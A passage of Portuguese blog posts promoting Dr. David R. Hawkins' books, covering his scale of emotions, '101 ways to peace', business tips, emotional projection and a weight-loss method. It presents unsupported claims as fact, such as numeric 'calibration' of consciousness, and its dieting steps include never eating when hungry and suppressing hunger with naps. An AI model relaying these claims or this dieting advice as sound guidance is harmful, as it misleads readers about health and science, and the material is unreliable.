A coragem é a primeira energia positiva, por isso essa serve como porta de entrada para a inteligência emocional, saindo das emoções negativas e buscando a positividade.

Essa emoção diz: “Eu consigo fazer isso”, “Se alguém já fez algo semelhante, eu também posso!”. É uma energia determinada, produtiva, empoderada e empolgada com a vida. 

Quando estamos tomados pela emoção da coragem, saímos da teoria ou das divagações e partimos para ações efetivas. A coragem não se importa de ainda não saber como fazer, porque dará um jeito de descobrir e chegar lá.

Neutralidade (250)

É a emoção ligada à ausência de julgamento e competitividade. Traz confiança e estabilidade. Além disso, é livre de posições rígidas.

Quando essa emoção está presente, ficamos tranquilos e “de boa”, sabendo que tudo ficará bem. Frases comuns são: “Se isso não funcionar, eu tento de novo” e “Tudo tem dois lados”.

Disposição (310)

Essa emoção desperta uma alta energia e vontade de ajudar. É uma emoção ativa, ligada a movimento e proatividade. Traz uma atitude positiva e otimista em relação à vida e às pessoas.

A energia da disposição é muito vista em empreendedores e trabalhadores dispostos. É a emoção que faz a “roda da economia” girar.

Aceitação (350)

Nesse nível energético, a qualidade da inteligência emocional se acentua.

A emoção da aceitação é a mesma do perdão, lembrando que perdoar não significa concordar com o que aconteceu, mas sim aceitar a realidade que se apresentou.

No momento em que finalmente aceitamos ou perdoamos um ocorrido, a emoção da aceitação toma conta, nos liberta e traz uma enorme leveza!

É uma emoção tranquila e livre de resistências internas. Harmonia e empatia são duas características marcantes: “A vida é boa. Você e eu somos bons. Eu me sinto conectado.” Em vez de desejar que a vida fosse diferente, essa emoção aceita a vida como é e as pessoas como são. Não há necessidade de culpar os outros ou culpar a vida.

É importante não confundir aceitação com apatia, que já foi explicada nas emoções negativas. A aceitação é uma emoção proativa, que aceita o momento atual e então se move para trazer melhorias a si e aos outros.

Razão (400)

Esse aspecto diferencia os humanos do mundo animal. Existe a capacidade de ver as coisas de forma abstrata, de conceituar, ser objetivo e tomar decisões rápidas e corretas. Tem grande utilidade para resolver problemas. Ciência, filosofia, medicina e lógica são expressões deste campo energético.

A partir daqui não estamos mais falando propriamente de emoções, mas sim de níveis de consciência nos quais a emocionalidade vai ficando de lado.

Na primeira parte deste artigo apresentamos as emoções negativas (de vergonha até o orgulho). Depois, as emoções positivas (de coragem até aceitação). A partir deste nível de 400, a razão se sobrepõe às emoções. Isso não significa que a pessoa será fria, mas sim que suas decisões e ações não estarão baseadas apenas no que ela está sentindo naquele momento.

Quando o campo energético da razão se apresenta, somos capazes de nos “afastar” mentalmente de um assunto e olhar para ele de forma desapegada, sem levar para o pessoal, buscando considerar o máximo de pessoas e variáveis envolvidas.

Com a razão, a inteligência emocional se amplia mais uma vez.

Amor (500)

Quando falamos do amor, não se trata somente das relações românticas ou familiares. O campo de consciência do amor vai além: é uma maneira de ser que perdoa, dá apoio e que “nutre” a si e aos outros.

O amor não vem da mente; em vez disso, emana do coração. Quando vivenciamos verdadeiramente o amor, passamos a focar na essência de cada situação, e não nos detalhes.

À medida que o amor deixa de ser uma emoção temporária e toma conta de nós como um estilo de vida, passamos a enxergar que tudo e todos são dignos de serem amados.

No nível de Amor, a inteligência emocional abre espaço para o que é chamado de inteligência espiritual, com a harmonia das funções do lado esquerdo e direito do cérebro.

Alegria ou Amor Incondicional (540)

Esse estado emocional ou estado de consciência vê o mundo como completo. Enxerga que tudo está conectado, que “todos são um” e sente compaixão por todos.

Há uma enorme paciência e uma preocupação — no bom sentido — com a felicidade dos outros. Além disso, há uma sensação de autorrealização e autossuficiência.

Paz (600+)

A paz é vivenciada como perfeição, alegria, leveza e unidade. É um estado de não dualidade, ou seja, de “não divisão”. Está além da separação e do intelecto. É um estado de iluminação que traz profunda serenidade.

Desenvolva ainda mais sua Inteligência Emocional

Agora que você já conhece a Escala das Emoções, você pode aprofundar ainda mais esse estudo.

No livro best-seller Deixar Ir: o caminho do desapego, Dr. David Hawkins descreve as emoções ou níveis de consciência com mais detalhes. Além disso, nesse livro é ensinada a própria técnica de Deixar Ir, que é a ferramenta mais simples e efetiva que existe para desenvolver inteligência emocional. Clique aqui e adquira o seu exemplar.

Categorias
Níveis de Consciência

101 Caminhos para a Paz, segundo David R. Hawkins

“Nós mudamos o mundo não pelo que dizemos ou fazemos, mas como consequência do que nos tornamos.” – Dr. David R. Hawkins, M.D., Ph.D.

Dr. David R. Hawkins tornou-se conhecido a partir da publicação do best-seller Poder vs Força, no qual apresenta a Escala da Consciência, também conhecida como Mapa da Consciência ou Escala das Emoções e traz para nós uma visão de caminhos para a paz.

A partir do trabalho de Hawkins, pela primeira vez a humanidade teve acesso a um mapa claro da evolução da consciência, desde os níveis mais baixos (vergonha, culpa, ódio) até os mais elevados (amor, paz, iluminação).

Foi falando sobre um desses níveis de consciência elevados, em uma palestra com o tema “Paz”, que Dr. Hawkins apresentou os 101 caminhos possíveis para viver nesse estado pacífico.

Hawkins afirma que a paz é uma decisão e pode existir mesmo no meio da guerra, devastação e catástrofe. 

A seguir você encontra os 101 caminhos para a paz descritos por ele. 

101 caminhos para a paz, segundo Dr. David R. Hawkins

Descubra os melhores caminhos para a paz:

1. Abra mão de tentar mudar e controlar os outros. A fonte da sua felicidade está unicamente dentro de você. A paz tem que ser uma decisão que você toma. Ela pode existir no meio da guerra, devastação e catástrofe.

2. Deixe ir o desejo de se vingar.

3. Desapegue de querer estar certo e querer que os outros estejam errados.

4. Pratique o discernimento em vez do julgamento. O julgamento diz: “eles deveriam ser diferentes”, enquanto o discernimento vê a essência e a verdade de uma pessoa, mas sem julgamento.

5. Seja modesto com opiniões.

6. Aperfeiçoe habilidades de diplomacia e gentileza.

7. Seja gentil e atencioso.

8. Mantenha a serenidade como meta.

9. Não há problema em estar errado ou indeciso.

10. Calibre as opções. Seja flexível.

11. Não é necessário ter opinião sobre tudo.

12. Evite manifestações de paz.

13. Lembre-se que Sócrates era baixo e feio.

14. Valorize a sabedoria acima de estar certo.

15. Busque conselhos sábios.

16. Perceba que você influencia os outros pelo que você é, não pelo que você faz (a melhor coisa que você pode fazer para o mundo é sentar e calar a boca! Apenas ter pensamentos gentis faz a diferença).

17. Evite o ativismo e o pedantismo.

18. Seja grato por seus bens (seu ativo mais importante é o interesse espiritual).

19. A humanidade sobreviveu milhões de anos sem sua ajuda.

20. Seja seu melhor amigo.

21. Desconfie dos benfeitores (eles querem controlar você para o seu próprio bem, é claro!)

22. Benfeitor: um reformador social sério e muitas vezes ingênuo. Ingênuo: (a pessoa ou ação) que mostra falta de experiência, sabedoria ou julgamento.

23. Deixe os outros vencerem.

24. Cuidado com consequências não intencionais.

25. A criança inocente está presente em todos.

26. Ore para ver as coisas de uma forma diferente, reformule/recontextualize.

27. Aceite que a maioria das pessoas calibra abaixo de 200 (diminua suas expectativas – elas estão indo muito bem apenas para sobreviver).

28. Não julgue para não ser julgado (se eles pudessem fazer ou ser melhores, eles fariam).

29. Todos os pontos de vista são arbitrários.

30. Renove a consideração e a gratidão.

31. A mente é um ‘isso’, não um ‘você’. A mente fala o tempo todo; isso é ego. O espírito não fala.

32. Os críticos valem um centavo a dúzia.

33. Leia o livro “Extraordinary Popular Delusions and the Madness of Crowds by Mackay”, de Mackay.

34. Mantenha o senso de humor.

35. Todos presumem que estão certos e os outros estão errados.

36. Procure entender os outros em vez de mudá-los.

37. Sirva a Deus em vez do ego narcisista.

38. Procure participar em vez de dominar.

39. Não há problema em ter falhas.

40. Evite lutar pelo que é moralmente elevado.

41. Apoie os outros para encontrar o que há de bom em si mesmos.

42. Admita o que é em vez do que deveria ser.

43. Não há problema em apenas “ser” em vez de fazer ou ter.

44. Entregue sua vontade a Deus.

45. Deixe o passado ser passado.

46. ​​Se você não tem nada de bom a dizer sobre uma pessoa, então não diga nada.

47. Perceba que a humanidade esteve em guerra durante 93% da história registrada e que a paz mundial é improvável.

48. Aceitação: é isso que importa.

49. Fatalismo – o que será, será, por influências cármicas.

50. Desenvolva uma natureza pacífica. Esteja ciente do poder da Natureza.

51. Veja a beleza de tudo o que existe (1 polegada cúbica do Campo Infinito da Consciência é maior que a massa total de todo o universo)

52. Valorize a quietude.

53. Abandone a obstinação; silencie a criança interior.

54. Pratique as virtudes.

55. Recorde “paz na Terra, boa vontade para com todos os homens.”

56. Esforce-se para ser angelical em vez de luciférico.

57. Não pratique apegos, nem aversões. Buda.

58. Aceite os papéis sociais dos outros.

59. Estude para entender os outros.

60. A Experiência de Quase-Morte é de paz total.

61. Somente o ego é vulnerável; o verdadeiro Eu é eterno.

62. Viva em cada instante, isso é naturalmente pacífico.

63. Desapegue do controle; seja a testemunha-observadora.

64. Pratique meditação e contemplação.

65. Diferencie desejos de necessidades.

66. Vista o mundo como uma roupa leve.

67. Diferencie aparência de essência.

68. Seja gentil com todas as formas de vida.

69. Tenha animais de estimação e um jardim.

70. Diminua as expectativas sobre os outros (ninguém será o que você quer que eles sejam).

71. Cuide da sua própria vida.

72. Faça uma lista de preocupações (e priorize-as, dessa forma a mente relaxa).

73. Chocolate vs. baunilha implica uma escolha

74. Diferencie pontos de vista emocionais vs. espirituais (Bem, é assim que me sinto! Quem se importa?)

75. Utilize a lógica em vez da emoção.

76. Peça um milagre.

77. Hoje é o ontem de amanhã.

78. Converse com um amigo.

79. Aceite o pior cenário.

80. Vou pensar nisso amanhã (E o Vento Levou).

81. A paz existe no meio da guerra.

82. As coisas poderiam ser piores.

83. A vida é transitória.

84. Você foi criado por Deus.

86. Desista de tentar ser feliz (Apenas SEJA feliz!)

87. Desista de ser rico e famoso.

88. Caminhe pelo labirinto.

89. Faça o rosário.

90. Gire a roda de oração.

91. Escreva um testamento.

92. Faça um seguro de vida. (Você tem que ser real sobre as coisas. Um testamento e seguro significa que sua morte servirá como um benefício para alguém. Se você não tiver parentes, você pode fazer uma apólice de seguro e deixar para os gatinhos e cachorrinhos em uma instituição.)

93. Assista ao canal de animais na TV.

94. Enterre o machado.

95. Desista de ser um viciado em adrenalina.

96. Pare quando estiver no topo.

97. Deixe de lado a ganância (desejo voraz).

98. Invoque sua Natureza Buda.

99. Viva no espaço abaixo dos pensamentos.

100. Fale de maneira sensata consigo mesmo no espelho.

101. Converse com seu terapeuta ou psicólogo.

Como se aprofundar nos 101 caminhos para a paz, de Dr. David Hawkins

Apenas ler sobre os caminhos já nos traz uma sensação de alívio, porém sabemos que a prática é fundamental para realmente vivenciarmos a paz no nosso dia a dia.

Se você deseja aprofundar esses conhecimentos e conectar-se com os níveis de consciência de Amor e Paz, sugerimos a leitura das obras de Dr. Hawkins.

Confira aqui os livros de Dr. David R. Hawkins em português, incluindo os best-sellers Poder vs Força e Deixar Ir: https://loja.pandoratreinamentos.com.br/dr-david-hawkins

Que a Paz esteja com você!

– – – 

Direitos autorais do conteúdo – Veritas Publishing

Traduzido e adaptado do artigo original de Julian Conor Reid.

Categorias
David Hawkins

3 Elementos Fundamentais para um Negócio de Sucesso

Que tal investigar 3 elementos que todo negócio de sucesso precisa ter?

Este artigo faz parte de uma série com base no livro O Sucesso É Para Você, de Dr. David R. Hawkins, M.D., Ph.D.

No artigo anterior desta série, nós examinamos as barreiras para o sucesso e vimos o que impede um empreendimento de se desenvolver e prosperar.

Hoje, vamos mais uma vez utilizar os restaurantes como exemplos.

Como já foi mencionado no artigo anterior, restaurantes são negócios com os quais todos nós estamos familiarizados, e isso facilita a análise do sucesso.

Analisaremos 3 questões igualmente importantes:

  1. primeira impressão;
  2. personalidade;
  3. conveniência.

Vamos lá?

Negócio de Sucesso: a primeira impressão 

Buscando compreender o que forma um negócio de sucesso, Dr. Hawkins nos lembra que a primeira impressão causada influencia muito a nossa expectativa e contribui para moldar toda a experiência que teremos com aquela marca.

No caso de um restaurante, se já na entrada presenciamos algo nojento, isso certamente nos deixará com menos fome e terá um efeito negativo na nossa opinião sobre o estabelecimento.

Já que a expectativa do consumidor é um ponto crítico, Hawkins sugere uma reflexão: “as pessoas estão ansiando ou temendo o próximo encontro conosco?”.

Evidentemente, esse cenário não diz respeito só aos primeiros minutos de contato, mas sim à primeira experiência como um todo. 

Se passamos na frente de um restaurante e o cardápio — ou até mesmo o cheiro — chamou nossa atenção positivamente, isso criou uma expectativa positiva. Nesse momento, é fundamental que o próximo passo reforce a impressão positiva ao invés de frustrar essa nossa expectativa.

Ao nos depararmos com uma recepcionista antipática, por exemplo, a percepção inicial que era positiva pode se transformar em algo negativo.

Lembrete importante: diminua o tempo de espera do atendimento

Outro ponto fundamental aqui é a espera, que deve sempre ser curta.

Quanto mais tempo as pessoas esperam pelo atendimento, mais a primeira impressão vai se transformando em algo negativo. A partir daí, o cliente tende a notar muito mais os pontos desfavoráveis da experiência.

Negócio de Sucesso: a personalidade

O segundo elemento fundamental de um negócio de sucesso é a personalidade.

As pessoas gostam de ser tratadas como seres humanos e de perceber que nos importamos com elas. A partir do momento em que esquecemos esse lado humano, os clientes começam a ficar insatisfeitos.

Algumas empresas preocupam-se demais com os processos, focam em tornar as “engrenagens” do negócio perfeitas, mas esquecem-se de inserir o fator “cuidado”.

Quando os clientes são verdadeiramente cuidados e tratados com o coração, eles não se importarão se você cometer algum erro ou se houver alguma imperfeição no seu serviço. Afinal, as imperfeições nos tornam humanos também, não é mesmo?

É importante evitar que o negócio — e principalmente os colaboradores responsáveis pelo atendimento — se tornem mecânicos, insensíveis ou superficiais.

Ao invés disso, as relações devem ser baseadas na “presença”.

A qualidade da presença, ou seja, de se importar e estar realmente atento, é o que faz os clientes voltarem. No fundo, todas as pessoas querem ser tratadas como realeza e nós podemos fazer isso por elas usando o poder do coração!

Negócio de Sucesso: a conveniência

O terceiro elemento que trazemos hoje sobre um negócio de sucesso é a conveniência.

Nada mais triste em se tratando de negócios do que um restaurante que falha nos pontos mais óbvios, como: ter bons banheiros disponíveis, ter nosso refrigerante favorito à venda, disponibilizar molhos básicos, entre outros pontos.

Conveniência significa facilitar a vida das pessoas — mesmo que para isso os donos do negócio tenham que sair um pouco da zona de conforto 

O mais interessante é que, quando se trata de conveniência, os próprios clientes vão dizer o que eles precisam.

Preste atenção nas coisas que você mais ouve dos seus clientes, dos seus colegas ou do seu chefe. Você tem em mãos os pontos mais importantes a serem seguidos e implementados!

Um exemplo incrível do próprio Dr. David Hawkins é que quando ele tinha uma clinica de saúde mental em Nova Iorque, ele chegou a ter 10 linhas telefônicas para atender chamadas!

No momento em que alguém dizia que estava com dificuldade em falar com ele (na época era comum as linhas darem sinal de ocupado), Hawkins imediatamente colocava outra linha telefônica.

Lembrete importante: inove, mas não deixe de fazer o básico

Muitos empreendimentos erram em oferecer apenas opções muito inovadoras, diferentes ou sofisticadas. Por exemplo, oferecem um tempero de salada exótico, mas esquecem do bom e velho vinagre.

Portanto, vale a pena ficar atento à conveniência e à facilidade de atender necessidades corriqueiras. Fazer o básico muito bem feito também fideliza clientes.

Um Negócio de Sucesso é para você

Ao longo de 242 páginas em um tom bastante divertido, Dr. David Hawkins nos mostra que todos nós podemos ter um negócio de sucesso se observarmos alguns princípios universais e algumas boas práticas. Por isso, fica nosso convite para que você aprofunde o assunto através do livro O Sucesso É Para Você. Ótima leitura!

Categorias
Níveis de Consciência

Emoções Negativas: Como Lidar com Elas

Qual foi a última vez que você sentiu emoções negativas? Hoje? Ontem? Semana passada?

E, na sua opinião, qual foi a causa dessas emoções negativas?

Embora tenhamos o hábito de atribuir as causas das emoções a fatores externos, Dr. David Hawkins nos explica que a verdade é exatamente o contrário. São as nossas emoções negativas que causam acontecimentos desagradáveis fora de nós!

Isso pode parecer uma afirmação bastante estranha, mas fique conosco para entender melhor.

Você só vê fora o que tem dentro: o mecanismo da projeção

Vamos combinar: não é fácil lidar com emoções negativas, certo?

Por conta dessa dificuldade, a mente racional utiliza mecanismos que a psicologia chama de “projeção”. 

Para entender melhor o que é a projeção, é interessante olharmos antes para os mecanismos de repressão e supressão.

Repressão e Supressão das emoções negativas

Imagine que as emoções negativas são como a sujeira dentro da nossa casa. Os dias, semanas, meses e anos vão passando e a poeira vai se acumulando sobre o piso.

Quando negamos olhar para a sujeira e fingimos que ela não existe, isso é repressão.

Psicologicamente, a repressão é um estado de negação. É tão doloroso lidar com a sujeira que preferimos fazer vista grossa para ela.

Em outros momentos até enxergamos a sujeira, mas não temos disposição para lidar com ela. Então, escolhemos conscientemente jogar a poeira para baixo do tapete. Essa é a supressão.

A supressão é uma espécie de procrastinação emocional.

Sabemos que processar emoçoes negativas é cansativo e, por isso, contamos uma história para nós mesmos: “Ah, outra hora eu lido com isso”.

Projeção ou deslocamento

Ocorre quando a sujeira embaixo do tapete é tão grande que precisamos colocar um pouco dessa poeira para fora. Só que não somos loucos a ponto de simplesmente sair espalhando sujeira por aí. Precisamos de uma justificativa, uma desculpa.

Vamos pegar como exemplo a emoção da raiva.

Imagine que, sob o nosso tapete da sala, existe uma quantidade de raiva tão grande que está quase saindo para além do tapete. Lá no fundo, nossa mente inconsciente pensa: “Que ótimo seria se eu pudesse despejar essa poeira (raiva) em algum lugar, sem ter muito trabalho.”

De repente, uma pessoa da nossa família passa e faz algo que não nos agrada, que contraria a nossa expectativa. Nesse momento, levantamos o tapete e despejamos uma certa quantidade de poeira (raiva) na pessoa.

Temos a justificativa perfeita: “Você me incomodou”. “Ela me irritou”. “Eles fizeram algo errado”.

A grande ponto é que a situação toda não passou de um gatilho.

Na realidade, o nosso “estoque” de raiva fez com que procurássemos uma situação para descarregar a sujeira, e não o contrário. Estávamos atrás de uma oportunidade.

Esse é o mecanismo da projeção (ou, na psiquiatria, deslocamento). 

A panela de pressão

Dr. David Hawins usa também a metáfora da panela de pressão. Quando a pressão é muito grande, precisamos enfim direcioná-la para fora, e não mais só para dentro.

Portanto, direcionamos a fumaça para outras pessoas ou situações externas. Projetamos ou deslocamos essa fumaça, dizendo que a culpa é daquilo que está fora.

A projeção é um processo de, justamente, pegar algo que é uma realidade interna nossa e projetar para fora, fazendo parecer que a causa é externa.

Segundo Dr. Hawkins, “quando a pressão dos sentimentos suprimidos e reprimidos excedem a tolerância máxima do indivíduo, a mente vai criar um evento ‘fora’ para se desafogar e deslocar.”

O mecanismo de Deixar Ir: antídoto para as emoções negativas

Mas como parar de projetar nossas emoções negativas do lado de fora e, ao invés disso, curarmos a nós mesmos?

Dr. David Hawkins nos ensina que a melhor maneira de lidar com os sentimentos negativos é através do mecanismo de Deixar Ir.

Nas palavras do próprio Dr. Hawkins,

Deixar ir envolve estar consciente de um sentimento, deixá-lo vir à tona, permanecer com ele e deixá-lo seguir seu curso sem querer torná-lo diferente ou fazer qualquer coisa sobre ele. Significa simplesmente deixar o sentimento estar presente e focar em deixar sair a energia por trás dele.

Quando paramos de resistir ao sentimento, condená-lo ou julgá-lo, passamos a olhar para ele apenas como um sentimento. A partir daí, automaticamente ele vai se dissolvendo.

Hawkins explica que é a resistência que mantém o sentimento.

Ou seja, quando você diz para si mesmo “Eu não posso sentir isso”, você mantém essas sensações e emoções dentro de você. 

Por outro lado, quando diz “Ok, eu posso sentir isso e não há nada de errado”, você se torna consciente. Sua resistência vai embora e as emoções negativas começam a se dissipar naturalmente, como uma onda que vem e que passa.

O livro Deixar Ir: o caminho do desapego

A melhor recomendação possível para aprender o mecanismo de Deixar Ir e, assim, aprender a lidar com os seus sentimentos e emoções negativas, é ler o livro best-seller de Dr. David Hawkins.

Na obra, o cientista e professor espiritual detalha de maneira prática o uso da técnica.

Além disso, você vai aprender sobre a Escala das Emoções e sua influência sobre todas as áreas da nossa vida, desde as emoções negativas — como vergonha, ódio, medo, ganância, raiva e orgulho —, até os campos de consciência positivos — como coragem, disposição, aceitação, razão, amor, paz e iluminação.

Confira aqui mais detalhes sobre o livro Deixar Ir e aprenda a técnica mais efetiva para lidar com sentimentos e emoções negativas.

Categorias
David Hawkins

Como Perder Peso de Maneira Prática, Fácil e Alegre – Parte 2

No artigo anterior publicado aqui no blog, falamos sobre as bases da abordagem de Dr. David Hawkins para emagrecer e perder peso.

Leia a Parte 1 deste conteúdo aqui.

Na Parte 1, falamos sobre o que não fazer para perder peso, além de trazer os primeiros passos recomendados por Hawkins.

A partir de agora, veremos os passos seguintes para quem decide avançar na prática deste caminho de libertação da culpa e do sofrimento em relação à forma física.

Todo esse conteúdo é trazido com mais detalhes e maior profundidade no livro Cura e Recuperação — Um Guia para Curar Corpo, Mente e Espírito

Como perder peso: o passo a passo segundo Dr. David Hawkins – Parte 2

No artigo anterior vimos os 3 passos iniciais e agora daremos continuidade, avançando na perda de peso.

Passo 4 para perder peso: faça refeições antecipatórias

Pode parecer bastante contraintuitivo, mas Dr. David Hawkins recomenda nunca comer quando temos fome!

Ao invés disso, a recomendação é antecipar as refeições e comer antes da fome vir. E, se a fome vier, aprender a observar esse impulso, porém sem atendê-lo. 

Hawkins explica que, no início, isso pode nos deixar com uma sensação de tédio, monotonia ou vazio. Por isso, ele sugere trocar o ato de comer por outras sensações prazerosas, como:

  • tirar uma soneca
  • ler um livro
  • praticar um hobby saudável

Se você anda achando que não tem tempo para dormir, problema resolvido! Agora, em vez de comer por impulso ou fome, que tal tirar um cochilo de 20 minutos em um horário alternativo?

Passo 5: coma bastante proteína

Outro “truque” que Dr. David Hawkins ensina para acelerar o processo de emagrecimento é fazer uma dieta rica em proteínas.

A proteína é sintetizada mais lentamente pelo corpo e o nosso organismo precisa de uma certa quantidade de calorias para queimar cada grama de proteína.

Além disso, as proteínas nos geram uma sensação de saciedade maior!

É importante saber que nem todas as calorias são iguais: uma caloria de proteína tende a ser muito mais benéfica do que uma caloria de açúcar, por exemplo.

Passo 6 para perder peso: evite açúcar e doces no início

Falando em açúcar, principalmente no início do processo de emagrecimento é recomendável evitar os doces.

Isso é ainda mais importante se você tem o hábito de comer açúcar (ou carboidratos refinados, como farinha, pães, massas e bolos) de estômago vazio.

O açúcar é absorvido pelo corpo quase que instantaneamente, em uma velocidade muito grande, e não consegue ser metabolizado nesse ritmo tão veloz. 

O resultado disso? Nosso corpo transforma o açúcar em gordura.

E não é só isso: o açúcar estimula a produção de insulina, que traz o próprio açúcar no sangue rapidamente para baixo — e isso gera uma sensação de fome.

Ou seja, cria-se um círculo vicioso de cada vez precisar comer mais açúcar, gerando mais fome e mais estoque de gorduras.

Passo 7: aumente o prazer de comer

A essa altura você talvez esteja desanimado ou desanimada. Pode ser que você pense “ah, mas eu não queria abrir mão do prazer de comer…”.

Então, aqui vai uma boa notícia!

Na verdade, para emagrecer devemos AUMENTAR o prazer de comer. 

Você já notou que, quando comemos por impulso, mal saboreamos a comida? Às vezes comemos de forma tão ansiosa que nem mesmo sentimos os sabores, os temperos e as texturas dos alimentos.

Dr. David Hawkins revela que quando não estamos com fome, a comida é muito mais saborosa. Começamos a verdadeiramente sentir cada mordida. Não há qualquer perda no prazer de comer — pelo contrário.

O prazer de comer agora nasce do próprio ato de comer, e não mais da sensação de fome. Experimente e perceba por si próprio.

Passo 8 para perder peso: crie um lembrete para o seu adulto

Você já observou cuidadosamente a si mesmo enquanto come?

Dr. Hawkins conta que notou algo curioso: quando ele sentava para comer, não era o adulto David que estava ali se alimentando. Era a “criança interior”.

É como se existissem três pessoas dentro de nós: a “criança”, o “adulto” e os “pais”. São três vozes dentro da nossa cabeça.

Enquanto o adulto dentro de nós quer emagrecer, a criança só quer saborear mais e mais daquelas comidas deliciosas. Afinal, o que uma criança sabe sobre dietas, peso e calorias? A consciência da criança mimada só diz “eu quero, eu pego, eu me satisfaço”.

Depois que satisfazemos todos os desejos alimentares da nossa criança interior, os pais vêm e dizem “Você fez tudo errado, não deveria ter repetido a comida!”. Isso gera um ciclo de culpa que não ajuda em nada no processo de emagrecimento.

Mas o que fazer na prática? Simples: deixe lembretes para o seu adulto na porta da geladeira, na mesa e nos armários. Escreva algo como “Apenas adultos”.

Entre a ingenuidade da criança e a cobrança dos pais, a “voz” mais apta para tomar boas decisões é a voz interior do adulto.

Passo 9: crie uma programação positiva sobre o novo corpo

Outra técnica simples e bastante prática é visualizar o tipo de corpo que você quer ter e associá-lo a sensações e emoções positivas.

Por exemplo, você pode se imaginar magro e agradecer por ter esse corpo em forma, amando esse corpo e essa imagem sua.

Se quiser, você pode combinar a visualização com afirmações, dizendo: “É incrível ser magro, ativo e me sentir bem com o meu corpo”.

Inúmeras pesquisas mostram que técnicas de visualização funcionam. Por isso, podemos usá-las sem receio e aproveitar seus benefícios.

Passo 10 para perder peso: defina um limite de quilos

O décimo e último passo que Dr. David Hawkins ensina para perda de peso é estabelecer um limite de quilos e nunca se permitir passar daquele peso.

Isso nos protege de voltar a padrões antigos sem perceber e acabar ficando presos neles.

Por exemplo, se você escolher 60 quilos e sem querer chegar a 61, é hora de voltar ao passo 1 e praticar as recomendações novamente.

Conclusão: como perder peso de maneira prática, fácil e alegre

Todos os passos que vimos neste artigo e também no primeiro artigo desta série são bastante práticos. À primeira vista, eles podem parecer pequenos “truques” ou atalhos, mas a verdade é que exigem uma determinação profunda de amar a si mesmo.

Dr. Hawkins deixa claro que a base para todas as técnicas é aprendermos a nos amar, começarmos a nos valorizar e amar aquilo que realmente somos. Assim, aos poucos começamos a nos divertir com o corpo, olhando para ele com amor.

Vale lembrar também que bastam alguns minutos por dia para praticar todos os 10 passos e, assim, perder peso de maneira prática, fácil e alegre.

Para saber mais, todo esse conteúdo é trazido com mais detalhes e maior profundidade no livro Cura e Recuperação — Um Guia para Curar Corpo, Mente e Espírito